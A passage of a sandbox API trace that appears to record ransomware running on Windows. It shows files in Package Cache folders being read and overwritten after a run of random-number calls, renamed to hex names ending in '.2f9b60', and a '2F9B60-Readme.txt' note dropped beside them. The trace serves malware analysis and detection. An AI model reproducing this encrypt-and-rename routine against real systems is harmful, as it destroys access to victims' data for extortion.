[0091.584] RtlRandomEx (in: Seed=0x20f7f950 | out: Seed=0x20f7f950) returned 0x6796ab89 [0091.584] RtlRandomEx (in: Seed=0x20f7f950 | out: Seed=0x20f7f950) returned 0x7da7bb12 [0091.584] RtlRandomEx (in: Seed=0x20f7f950 | out: Seed=0x20f7f950) returned 0x1d407373 [0091.584] RtlRandomEx (in: Seed=0x20f7f950 | out: Seed=0x20f7f950) returned 0x5c932042 [0091.584] RtlRandomEx (in: Seed=0x20f7f950 | out: Seed=0x20f7f950) returned 0x740e811b [0091.584] RtlRandomEx (in: Seed=0x20f7f950 | out: Seed=0x20f7f950) returned 0x116a0d09 [0091.584] RtlRandomEx (in: Seed=0x20f7f950 | out: Seed=0x20f7f950) returned 0x7d9728a3 [0091.585] RtlRandomEx (in: Seed=0x20f7f950 | out: Seed=0x20f7f950) returned 0x6a77a3d7 [0091.585] RtlRandomEx (in: Seed=0x20f7f950 | out: Seed=0x20f7f950) returned 0x47a19f66 [0091.585] RtlRandomEx (in: Seed=0x20f7f950 | out: Seed=0x20f7f950) returned 0x917783f [0091.585] RtlRandomEx (in: Seed=0x20f7f950 | out: Seed=0x20f7f950) returned 0x273fd68c [0091.585] RtlRandomEx (in: Seed=0x20f7f950 | out: Seed=0x20f7f950) returned 0x3dd0b738 [0091.585] RtlRandomEx (in: Seed=0x20f7f950 | out: Seed=0x20f7f950) returned 0x676e50c7 [0091.585] RtlRandomEx (in: Seed=0x20f7f950 | out: Seed=0x20f7f950) returned 0x8b2ae74 [0091.585] RtlRandomEx (in: Seed=0x20f7f950 | out: Seed=0x20f7f950) returned 0x1b11396c [0091.585] RtlRandomEx (in: Seed=0x20f7f950 | out: Seed=0x20f7f950) returned 0x6c430798 [0091.585] RtlRandomEx (in: Seed=0x20f7f950 | out: Seed=0x20f7f950) returned 0x5f9b8eda [0091.585] RtlRandomEx (in: Seed=0x20f7f950 | out: Seed=0x20f7f950) returned 0x263ba06a [0091.585] RtlRandomEx (in: Seed=0x20f7f950 | out: Seed=0x20f7f950) returned 0x347ae6cc [0091.585] RtlRandomEx (in: Seed=0x20f7f950 | out: Seed=0x20f7f950) returned 0x36df702b [0091.585] RtlRandomEx (in: Seed=0x20f7f950 | out: Seed=0x20f7f950) returned 0x70512e67 [0091.585] RtlRandomEx (in: Seed=0x20f7f950 | out: Seed=0x20f7f950) returned 0x2b548709 [0091.585] RtlRandomEx (in: Seed=0x20f7f950 | out: Seed=0x20f7f950) returned 0x58c69359 [0091.585] RtlRandomEx (in: Seed=0x20f7f950 | out: Seed=0x20f7f950) returned 0x6f868145 [0091.585] RtlRandomEx (in: Seed=0x20f7f950 | out: Seed=0x20f7f950) returned 0xcb7ee93 [0091.585] RtlRandomEx (in: Seed=0x20f7f950 | out: Seed=0x20f7f950) returned 0x11d82785 [0091.585] RtlRandomEx (in: Seed=0x20f7f950 | out: Seed=0x20f7f950) returned 0x5d3e8342 [0091.586] RtlRandomEx (in: Seed=0x20f7f950 | out: Seed=0x20f7f950) returned 0x2ec37406 [0091.586] RtlRandomEx (in: Seed=0x20f7f950 | out: Seed=0x20f7f950) returned 0x307e4d4b [0091.586] RtlRandomEx (in: Seed=0x20f7f950 | out: Seed=0x20f7f950) returned 0x7e6a2cb3 [0091.586] RtlRandomEx (in: Seed=0x20f7f950 | out: Seed=0x20f7f950) returned 0x71a87608 [0091.598] ReadFile (in: hFile=0xde0, lpBuffer=0x201b9560, nNumberOfBytesToRead=0x2fe, lpNumberOfBytesRead=0x20f7f950, lpOverlapped=0x0 | out: lpBuffer=0x201b9560*, lpNumberOfBytesRead=0x20f7f950*=0x2fe, lpOverlapped=0x0) returned 1 [0091.598] SetFilePointerEx (in: hFile=0xde0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.598] WriteFile (in: hFile=0xde0, lpBuffer=0x201bd170*, nNumberOfBytesToWrite=0x2fe, lpNumberOfBytesWritten=0x20f7f954, lpOverlapped=0x0 | out: lpBuffer=0x201bd170*, lpNumberOfBytesWritten=0x20f7f954*=0x2fe, lpOverlapped=0x0) returned 1 [0091.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7fe0 [0091.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8010 [0091.705] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8010) returned 1 [0091.705] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201bd170) returned 1 [0091.705] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201b9560) returned 1 [0091.705] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ea90) returned 1 [0091.705] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c800) returned 1 [0091.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8010 [0091.705] SetFilePointerEx (in: hFile=0xde0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0091.705] WriteFile (in: hFile=0xde0, lpBuffer=0x1692b0*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x20f7fa70, lpOverlapped=0x0 | out: lpBuffer=0x1692b0*, lpNumberOfBytesWritten=0x20f7fa70*=0x104, lpOverlapped=0x0) returned 1 [0091.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0091.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ec90 [0091.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7a10 [0091.732] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7a10) returned 1 [0091.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82d000 [0091.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7a10 [0091.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced79e0 [0091.732] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced79e0) returned 1 [0091.732] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ec90) returned 1 [0091.732] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0091.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x1ced79e0 [0091.732] sprintf (in: _Dest=0x1ced79e0, _Format="%c%c" | out: _Dest="d6") returned 2 [0091.732] sprintf (in: _Dest=0x1ced79e2, _Format="%c%c" | out: _Dest="4b") returned 2 [0091.732] sprintf (in: _Dest=0x1ced79e4, _Format="%c%c" | out: _Dest="79") returned 2 [0091.732] sprintf (in: _Dest=0x1ced79e6, _Format="%c%c" | out: _Dest="7a") returned 2 [0091.732] sprintf (in: _Dest=0x1ced79e8, _Format="%c%c" | out: _Dest="04") returned 2 [0091.732] sprintf (in: _Dest=0x1ced79ea, _Format="%c%c" | out: _Dest="fd") returned 2 [0091.732] sprintf (in: _Dest=0x1ced79ec, _Format="%c%c" | out: _Dest="92") returned 2 [0091.732] sprintf (in: _Dest=0x1ced79ee, _Format="%c%c" | out: _Dest="c2") returned 2 [0091.732] sprintf (in: _Dest=0x1ced79f0, _Format="%c%c" | out: _Dest="0e") returned 2 [0091.732] sprintf (in: _Dest=0x1ced79f2, _Format="%c%c" | out: _Dest="7d") returned 2 [0091.732] sprintf (in: _Dest=0x1ced79f4, _Format="%c%c" | out: _Dest="c4") returned 2 [0091.732] sprintf (in: _Dest=0x1ced79f6, _Format="%c%c" | out: _Dest="70") returned 2 [0091.732] sprintf (in: _Dest=0x1ced79f8, _Format="%c%c" | out: _Dest="02") returned 2 [0091.732] sprintf (in: _Dest=0x1ced79fa, _Format="%c%c" | out: _Dest="5f") returned 2 [0091.733] sprintf (in: _Dest=0x1ced79fc, _Format="%c%c" | out: _Dest="df") returned 2 [0091.733] sprintf (in: _Dest=0x1ced79fe, _Format="%c%c" | out: _Dest="74") returned 2 [0091.733] sprintf (in: _Dest=0x1ced7a00, _Format="%c%c" | out: _Dest="33") returned 2 [0091.733] sprintf (in: _Dest=0x1ced7a02, _Format="%c%c" | out: _Dest="77") returned 2 [0091.733] RtlInitAnsiString (in: DestinationString=0x20f7fae8, SourceString="d64b797a04fd92c20e7dc470025fdf743377" | out: DestinationString="d64b797a04fd92c20e7dc470025fdf743377") [0091.733] RtlAnsiStringToUnicodeString (in: DestinationString=0x20f7fab8, SourceString="d64b797a04fd92c20e7dc470025fdf743377", AllocateDestinationString=1 | out: DestinationString="d64b797a04fd92c20e7dc470025fdf743377") returned 0x0 [0091.733] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd9dfd0 [0091.733] wcscat (in: _Dest=0x1079c0, _Source="d64b797a0" | out: _Dest="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\d64b797a0") returned="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\d64b797a0" [0091.733] wcscat (in: _Dest=0x1079c0, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\d64b797a0.2f9b60") returned="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\d64b797a0.2f9b60" [0091.733] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\d64b797a0.2f9b60", NtPathName=0x20f7fa90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\d64b797a0.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0091.733] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc8) returned 0x1187b0 [0091.768] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1187b0) returned 1 [0091.768] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf46600) returned 1 [0091.768] NtQueryInformationFile (in: FileHandle=0xde0, IoStatusBlock=0x20f7faf8, FileInformation=0x20f7fb08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x20f7faf8, FileInformation=0x20f7fb08) returned 0x0 [0091.768] NtSetInformationFile (FileHandle=0xde0, IoStatusBlock=0x20f7faf8, FileInformation=0x20f7fb08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0091.783] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1079c0) returned 1 [0091.783] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9dfd0) returned 1 [0091.783] FlushFileBuffers (hFile=0xde0) returned 1 [0091.789] CloseHandle (hObject=0xde0) returned 1 [0091.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x107a80 [0091.799] wcscpy (in: _Dest=0x107a80, _Source="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\") returned="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\" [0091.799] wcscat (in: _Dest=0x107a80, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\2F9B60-Readme.txt") returned="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\2F9B60-Readme.txt" [0091.799] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\2f9b60-readme.txt")) returned 0xffffffff [0091.799] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xd34 [0091.819] WriteFile (in: hFile=0xd34, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x20f7f9b0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x20f7f9b0*=0xba9, lpOverlapped=0x0) returned 1 [0091.892] CloseHandle (hObject=0xd34) returned 1 [0091.893] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107a80) returned 1 [0091.893] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a64c0) returned 1 Thread: id = 477 os_tid = 0x7c4 [0091.602] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm")) returned 0x20 [0091.602] SetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm", dwFileAttributes=0x20) returned 1 [0091.603] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xde4 [0091.603] GetFileSizeEx (in: hFile=0xde4, lpFileSize=0x20edfd20 | out: lpFileSize=0x20edfd20*=666) returned 1 [0091.603] SetFilePointerEx (in: hFile=0xde4, liDistanceToMove=0x296, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.603] ReadFile (in: hFile=0xde4, lpBuffer=0x20edfca0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x20edfce8, lpOverlapped=0x0 | out: lpBuffer=0x20edfca0*, lpNumberOfBytesRead=0x20edfce8*=0x4, lpOverlapped=0x0) returned 1 [0091.604] SetFilePointerEx (in: hFile=0xde4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.604] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced78c0 [0091.604] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7ad0 [0091.604] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7b60 [0091.604] NtQuerySystemTime (in: CurrentTime=0x20edfbe0 | out: CurrentTime=0x20edfbe0*=132462176974450000) returned 0x0 [0091.604] RtlRandomEx (in: Seed=0x20edfbd0 | out: Seed=0x20edfbd0) returned 0x76c4b200 [0091.604] RtlRandomEx (in: Seed=0x20edfbd0 | out: Seed=0x20edfbd0) returned 0x5abbd002 [0091.604] RtlRandomEx (in: Seed=0x20edfbd0 | out: Seed=0x20edfbd0) returned 0x7a30914c [0091.604] RtlRandomEx (in: Seed=0x20edfbd0 | out: Seed=0x20edfbd0) returned 0x5986b03 [0091.604] RtlRandomEx (in: Seed=0x20edfbd0 | out: Seed=0x20edfbd0) returned 0x7e014b43 [0091.604] RtlRandomEx (in: Seed=0x20edfbd0 | out: Seed=0x20edfbd0) returned 0x5c6b971d [0091.604] RtlRandomEx (in: Seed=0x20edfbd0 | out: Seed=0x20edfbd0) returned 0x7862406a [0091.604] RtlRandomEx (in: Seed=0x20edfbd0 | out: Seed=0x20edfbd0) returned 0x6096ac1d [0091.604] RtlRandomEx (in: Seed=0x20edfbd0 | out: Seed=0x20edfbd0) returned 0x78964a18 [0091.605] RtlRandomEx (in: Seed=0x20edfbd0 | out: Seed=0x20edfbd0) returned 0x1cde8b6f [0091.605] RtlRandomEx (in: Seed=0x20edfbd0 | out: Seed=0x20edfbd0) returned 0x2e503fdf [0091.605] RtlRandomEx (in: Seed=0x20edfbd0 | out: Seed=0x20edfbd0) returned 0x333ca987 [0091.605] RtlRandomEx (in: Seed=0x20edfbd0 | out: Seed=0x20edfbd0) returned 0x2feca6e5 [0091.605] RtlRandomEx (in: Seed=0x20edfbd0 | out: Seed=0x20edfbd0) returned 0x4fb49cf6 [0091.605] RtlRandomEx (in: Seed=0x20edfbd0 | out: Seed=0x20edfbd0) returned 0x1ecb5f93 [0091.605] RtlRandomEx (in: Seed=0x20edfbd0 | out: Seed=0x20edfbd0) returned 0x482a7d57 [0091.605] RtlRandomEx (in: Seed=0x20edfbd0 | out: Seed=0x20edfbd0) returned 0x7bb3d268 [0091.605] RtlRandomEx (in: Seed=0x20edfbd0 | out: Seed=0x20edfbd0) returned 0x439ed520 [0091.605] RtlRandomEx (in: Seed=0x20edfbd0 | out: Seed=0x20edfbd0) returned 0x59b00baf [0091.605] RtlRandomEx (in: Seed=0x20edfbd0 | out: Seed=0x20edfbd0) returned 0x1a1426e [0091.605] RtlRandomEx (in: Seed=0x20edfbd0 | out: Seed=0x20edfbd0) returned 0x1505c127 [0091.605] RtlRandomEx (in: Seed=0x20edfbd0 | out: Seed=0x20edfbd0) returned 0x10697bcb [0091.605] RtlRandomEx (in: Seed=0x20edfbd0 | out: Seed=0x20edfbd0) returned 0x3641d751 [0091.605] RtlRandomEx (in: Seed=0x20edfbd0 | out: Seed=0x20edfbd0) returned 0x5f4d7906 [0091.605] RtlRandomEx (in: Seed=0x20edfbd0 | out: Seed=0x20edfbd0) returned 0x4d5b3462 [0091.605] RtlRandomEx (in: Seed=0x20edfbd0 | out: Seed=0x20edfbd0) returned 0x6e57f5ce [0091.605] RtlRandomEx (in: Seed=0x20edfbd0 | out: Seed=0x20edfbd0) returned 0x6fe48b67 [0091.605] RtlRandomEx (in: Seed=0x20edfbd0 | out: Seed=0x20edfbd0) returned 0x636fbb9a [0091.605] RtlRandomEx (in: Seed=0x20edfbd0 | out: Seed=0x20edfbd0) returned 0x79519ffd [0091.605] RtlRandomEx (in: Seed=0x20edfbd0 | out: Seed=0x20edfbd0) returned 0x468b151f [0091.605] RtlRandomEx (in: Seed=0x20edfbd0 | out: Seed=0x20edfbd0) returned 0x69bc6a6f [0091.605] RtlRandomEx (in: Seed=0x20edfbd0 | out: Seed=0x20edfbd0) returned 0x23ccd8c3 [0091.613] ReadFile (in: hFile=0xde4, lpBuffer=0x201c0d80, nNumberOfBytesToRead=0x29a, lpNumberOfBytesRead=0x20edfbd0, lpOverlapped=0x0 | out: lpBuffer=0x201c0d80*, lpNumberOfBytesRead=0x20edfbd0*=0x29a, lpOverlapped=0x0) returned 1 [0091.613] SetFilePointerEx (in: hFile=0xde4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.613] WriteFile (in: hFile=0xde4, lpBuffer=0x201c4990*, nNumberOfBytesToWrite=0x29a, lpNumberOfBytesWritten=0x20edfbd4, lpOverlapped=0x0 | out: lpBuffer=0x201c4990*, lpNumberOfBytesWritten=0x20edfbd4*=0x29a, lpOverlapped=0x0) returned 1 [0091.707] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced80a0 [0091.707] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced80d0 [0091.707] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced80d0) returned 1 [0091.707] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201c4990) returned 1 [0091.707] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201c0d80) returned 1 [0091.707] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ea10) returned 1 [0091.707] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82be00) returned 1 [0091.707] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced80d0 [0091.707] SetFilePointerEx (in: hFile=0xde4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0091.707] WriteFile (in: hFile=0xde4, lpBuffer=0x1694d0*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x20edfcf0, lpOverlapped=0x0 | out: lpBuffer=0x1694d0*, lpNumberOfBytesWritten=0x20edfcf0*=0x104, lpOverlapped=0x0) returned 1 [0091.774] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0091.774] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866840 [0091.774] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b0b0 [0091.774] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b0b0) returned 1 [0091.774] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82d000 [0091.775] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b0b0 [0091.775] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859670 [0091.775] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859670) returned 1 [0091.775] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866840) returned 1 [0091.775] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0091.775] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x1b859670 [0091.775] sprintf (in: _Dest=0x1b859670, _Format="%c%c" | out: _Dest="4d") returned 2 [0091.775] sprintf (in: _Dest=0x1b859672, _Format="%c%c" | out: _Dest="64") returned 2 [0091.775] sprintf (in: _Dest=0x1b859674, _Format="%c%c" | out: _Dest="04") returned 2 [0091.775] sprintf (in: _Dest=0x1b859676, _Format="%c%c" | out: _Dest="6b") returned 2 [0091.775] sprintf (in: _Dest=0x1b859678, _Format="%c%c" | out: _Dest="af") returned 2 [0091.775] sprintf (in: _Dest=0x1b85967a, _Format="%c%c" | out: _Dest="d6") returned 2 [0091.775] sprintf (in: _Dest=0x1b85967c, _Format="%c%c" | out: _Dest="c1") returned 2 [0091.775] sprintf (in: _Dest=0x1b85967e, _Format="%c%c" | out: _Dest="64") returned 2 [0091.775] sprintf (in: _Dest=0x1b859680, _Format="%c%c" | out: _Dest="17") returned 2 [0091.775] sprintf (in: _Dest=0x1b859682, _Format="%c%c" | out: _Dest="93") returned 2 [0091.776] sprintf (in: _Dest=0x1b859684, _Format="%c%c" | out: _Dest="b8") returned 2 [0091.776] sprintf (in: _Dest=0x1b859686, _Format="%c%c" | out: _Dest="ce") returned 2 [0091.776] sprintf (in: _Dest=0x1b859688, _Format="%c%c" | out: _Dest="d0") returned 2 [0091.776] sprintf (in: _Dest=0x1b85968a, _Format="%c%c" | out: _Dest="56") returned 2 [0091.776] sprintf (in: _Dest=0x1b85968c, _Format="%c%c" | out: _Dest="c1") returned 2 [0091.776] sprintf (in: _Dest=0x1b85968e, _Format="%c%c" | out: _Dest="4e") returned 2 [0091.776] sprintf (in: _Dest=0x1b859690, _Format="%c%c" | out: _Dest="69") returned 2 [0091.776] sprintf (in: _Dest=0x1b859692, _Format="%c%c" | out: _Dest="64") returned 2 [0091.776] RtlInitAnsiString (in: DestinationString=0x20edfd68, SourceString="4d64046bafd6c1641793b8ced056c14e6964" | out: DestinationString="4d64046bafd6c1641793b8ced056c14e6964") [0091.776] RtlAnsiStringToUnicodeString (in: DestinationString=0x20edfd38, SourceString="4d64046bafd6c1641793b8ced056c14e6964", AllocateDestinationString=1 | out: DestinationString="4d64046bafd6c1641793b8ced056c14e6964") returned 0x0 [0091.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd9cf70 [0091.776] wcscat (in: _Dest=0x107c00, _Source="4d64046ba" | out: _Dest="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\4d64046ba") returned="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\4d64046ba" [0091.776] wcscat (in: _Dest=0x107c00, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\4d64046ba.2f9b60") returned="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\4d64046ba.2f9b60" [0091.776] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\4d64046ba.2f9b60", NtPathName=0x20edfd10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\4d64046ba.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0091.777] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc8) returned 0x1182d0 [0091.790] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1182d0) returned 1 [0091.790] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf46830) returned 1 [0091.790] NtQueryInformationFile (in: FileHandle=0xde4, IoStatusBlock=0x20edfd78, FileInformation=0x20edfd88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x20edfd78, FileInformation=0x20edfd88) returned 0x0 [0091.790] NtSetInformationFile (FileHandle=0xde4, IoStatusBlock=0x20edfd78, FileInformation=0x20edfd88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0091.805] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107c00) returned 1 [0091.805] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9cf70) returned 1 [0091.805] FlushFileBuffers (hFile=0xde4) returned 1 [0091.809] CloseHandle (hObject=0xde4) returned 1 [0091.821] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x107900 [0091.821] wcscpy (in: _Dest=0x107900, _Source="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\") returned="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\" [0091.821] wcscat (in: _Dest=0x107900, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\2F9B60-Readme.txt") returned="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\2F9B60-Readme.txt" [0091.821] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\2f9b60-readme.txt")) returned 0xffffffff [0091.821] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xde8 [0091.877] WriteFile (in: hFile=0xde8, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x20edfc30, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x20edfc30*=0xba9, lpOverlapped=0x0) returned 1 [0091.884] CloseHandle (hObject=0xde8) returned 1 [0091.884] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107900) returned 1 [0091.884] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a6570) returned 1 Thread: id = 478 os_tid = 0x5ac [0091.614] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm" (normalized: "c:\\programdata\\package 